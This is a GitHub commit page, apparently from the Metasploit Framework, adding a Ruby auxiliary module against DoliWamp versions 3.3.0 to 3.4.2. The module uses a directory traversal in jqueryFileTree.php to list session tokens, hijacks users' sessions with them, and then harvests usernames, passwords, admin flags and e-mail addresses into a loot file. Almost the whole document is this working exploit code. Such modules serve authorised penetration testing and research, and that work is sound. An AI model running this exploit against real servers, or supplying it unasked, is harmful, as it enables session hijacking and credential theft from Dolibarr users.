-
Notifications
You must be signed in to change notification settings - Fork 14.1k
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Add DoliWamp 'jqueryFileTree.php' Traversal Gather Credentials module
- Loading branch information
Showing
1 changed file
with
202 additions
and
0 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,202 @@ | ||
## | ||
# This module requires Metasploit: http//metasploit.com/download | ||
# Current source: https://github.com/rapid7/metasploit-framework | ||
## | ||
|
||
require 'msf/core' | ||
|
||
class Metasploit3 < Msf::Auxiliary | ||
include Msf::Auxiliary::Report | ||
include Msf::Exploit::Remote::HttpClient | ||
|
||
def initialize(info = {}) | ||
super(update_info( | ||
info, | ||
'Name' => "DoliWamp 'jqueryFileTree.php' Traversal Gather Credentials", | ||
'Description' => %q{ | ||
This module will extract user credentials from DoliWamp - a WAMP | ||
packaged installer distribution for Dolibarr ERP on Windows - versions | ||
3.3.0 to 3.4.2 by hijacking a user's session. DoliWamp stores session | ||
tokens in filenames in the 'tmp' directory. A directory traversal | ||
vulnerability in 'jqueryFileTree.php' allows unauthenticated users | ||
to retrieve session tokens by listing the contents of this directory. | ||
Note: All tokens expire after 30 minutes of inactivity by default. | ||
}, | ||
'License' => MSF_LICENSE, | ||
'Author' => 'Brendan Coles <bcoles[at]gmail.com>', | ||
'References' => | ||
[ | ||
['URL' => 'https://doliforge.org/tracker/?func=detail&aid=1212&group_id=144'], | ||
['URL' => 'https://github.com/Dolibarr/dolibarr/commit/8642e2027c840752c4357c4676af32fe342dc0cb'] | ||
], | ||
'DisclosureDate' => 'Jan 12 2014')) | ||
register_options( | ||
[ | ||
OptString.new('TARGETURI', [true, 'The path to Dolibarr', '/dolibarr/']), | ||
OptString.new('TRAVERSAL_PATH', [true, 'The traversal path to the application tmp directory', '../../../../../../../../tmp/']) | ||
], self.class) | ||
end | ||
|
||
# | ||
# Find session tokens | ||
# | ||
def get_session_tokens | ||
tokens = nil | ||
print_status("#{peer} - Finding session tokens...") | ||
res = send_request_cgi({ | ||
'method' => 'POST', | ||
'uri' => normalize_uri( | ||
target_uri.path, | ||
'includes/jquery/plugins/jqueryFileTree/connectors/jqueryFileTree.php'), | ||
'cookie' => @cookie, | ||
'vars_post' => { 'dir' => datastore['TRAVERSAL_PATH'] } | ||
}) | ||
if !res | ||
print_error("#{peer} - Connection failed") | ||
elsif res.code == 404 | ||
print_error("#{peer} - Could not find 'jqueryFileTree.php'") | ||
elsif res.code == 200 and res.body =~ />sess_([a-z0-9]+)</ | ||
tokens = res.body.scan(/>sess_([a-z0-9]+)</) | ||
num_tokens = tokens.length.to_s.gsub(/(\d)(?=(\d\d\d)+(?!\d))/) { "#{$1}," } | ||
print_good("#{peer} - Found #{num_tokens} session tokens") | ||
else | ||
print_error("#{peer} - Could not find any session tokens") | ||
end | ||
return tokens | ||
end | ||
|
||
# | ||
# Get user's credentials | ||
# | ||
def get_user_info(user_id) | ||
vprint_status("#{peer} - Retrieving user's credentials") | ||
res = send_request_cgi({ | ||
'method' => 'GET', | ||
'uri' => normalize_uri(target_uri.path, 'user/fiche.php'), | ||
'cookie' => @cookie, | ||
'vars_get' => Hash[{ | ||
'action' => 'edit', | ||
'id' => "#{user_id}" | ||
}.to_a.shuffle] | ||
}) | ||
if !res | ||
print_error("#{peer} - Connection failed") | ||
elsif res.body =~ /User card/ | ||
record = [ | ||
res.body.scan(/name="login" value="([^"]+)"/ ).flatten.first, | ||
res.body.scan(/name="password" value="([^"]+)"/ ).flatten.first, | ||
res.body.scan(/name="superadmin" value="\d">(Yes|No)/ ).flatten.first, | ||
res.body.scan(/name="email" class="flat" value="([^"]+)"/).flatten.first | ||
] | ||
unless record.empty? | ||
print_good("#{peer} - Found credentials (#{record[0]}:#{record[1]})") | ||
return record | ||
end | ||
else | ||
print_warning("#{peer} - Could not retrieve user credentials") | ||
end | ||
end | ||
|
||
# | ||
# Verify if session cookie is valid and return user's ID | ||
# | ||
def get_user_id | ||
# print_debug("#{peer} - Trying to hijack session '#{@cookie}'") | ||
res = send_request_cgi({ | ||
'uri' => normalize_uri(target_uri.path, 'user/fiche.php'), | ||
'cookie' => @cookie | ||
}) | ||
if !res | ||
print_error("#{peer} - Connection failed") | ||
elsif res.body =~ /<div class="login"><a href="[^"]*\/user\/fiche\.php\?id=(\d+)">/ | ||
user_id = "#{$1}" | ||
vprint_good("#{peer} - Hijacked session for user with ID '#{user_id}'") | ||
return user_id | ||
else | ||
# print_debug("#{peer} - Could not hijack session. Session is invalid.") | ||
end | ||
end | ||
|
||
# | ||
# Construct cookie using token | ||
# | ||
def create_cookie(token) | ||
# print_debug("#{peer} - Creating a cookie with token '#{token}'") | ||
res = send_request_cgi({ | ||
'uri' => normalize_uri(target_uri.path, 'user/fiche.php'), | ||
'cookie' => "DOLSESSID_#{Rex::Text.rand_text_alphanumeric(10)}=#{token}" | ||
}) | ||
if !res | ||
print_error("#{peer} - Connection failed") | ||
elsif res.code == 200 and res.headers["set-cookie"] =~ /DOLSESSID_([a-f0-9]{32})=/ | ||
return "DOLSESSID_#{$1}=#{token}" | ||
else | ||
print_warning("#{peer} - Could not create session cookie") | ||
end | ||
end | ||
|
||
# | ||
# Show progress percentage | ||
# Stolen from modules/auxiliary/scanner/ftp/titanftp_xcrc_traversal.rb | ||
# | ||
def progress(current, total) | ||
done = (current.to_f / total.to_f) * 100 | ||
percent = "%3.2f%%" % done.to_f | ||
vprint_status("#{peer} - Trying to hijack a session - " + | ||
"%7s done (%d/%d tokens)" % [percent, current, total]) | ||
end | ||
|
||
# | ||
# Check for session tokens in 'tmp' | ||
# | ||
def check | ||
get_session_tokens ? Exploit::CheckCode::Vulnerable : Exploit::CheckCode::Unknown | ||
end | ||
|
||
def run | ||
return unless tokens = get_session_tokens | ||
credentials = [] | ||
print_status("#{peer} - Trying to hijack a session...") | ||
tokens.flatten.each_with_index do |token, index| | ||
if @cookie = create_cookie(token) and user_id = get_user_id | ||
credentials << get_user_info(user_id) | ||
end | ||
progress(index + 1, tokens.size) | ||
end | ||
|
||
if credentials.empty? | ||
print_warning("#{peer} - No credentials collected.") | ||
return | ||
end | ||
cred_table = Rex::Ui::Text::Table.new( | ||
'Header' => 'Dolibarr User Credentials', | ||
'Indent' => 1, | ||
'Columns' => ['Username', 'Password', 'Admin', 'E-mail'] | ||
) | ||
credentials.each do |record| | ||
report_auth_info({ | ||
:host => rhost, | ||
:port => rport, | ||
:sname => (ssl ? 'https' : 'http'), | ||
:user => record[0], | ||
:pass => record[1], | ||
:source_type => 'vuln' | ||
}) | ||
cred_table << [record[0], record[1], record[2], record[3]] | ||
end | ||
print_line | ||
print_line("#{cred_table}") | ||
loot_name = 'dolibarr.traversal.user.credentials' | ||
loot_type = 'text/csv' | ||
loot_filename = 'dolibarr_user_creds.csv' | ||
loot_desc = 'Dolibarr User Credentials' | ||
p = store_loot( | ||
loot_name, | ||
loot_type, | ||
rhost, | ||
cred_table.to_csv, | ||
loot_filename, | ||
loot_desc) | ||
print_status("Credentials saved in: #{p}") | ||
end | ||
end |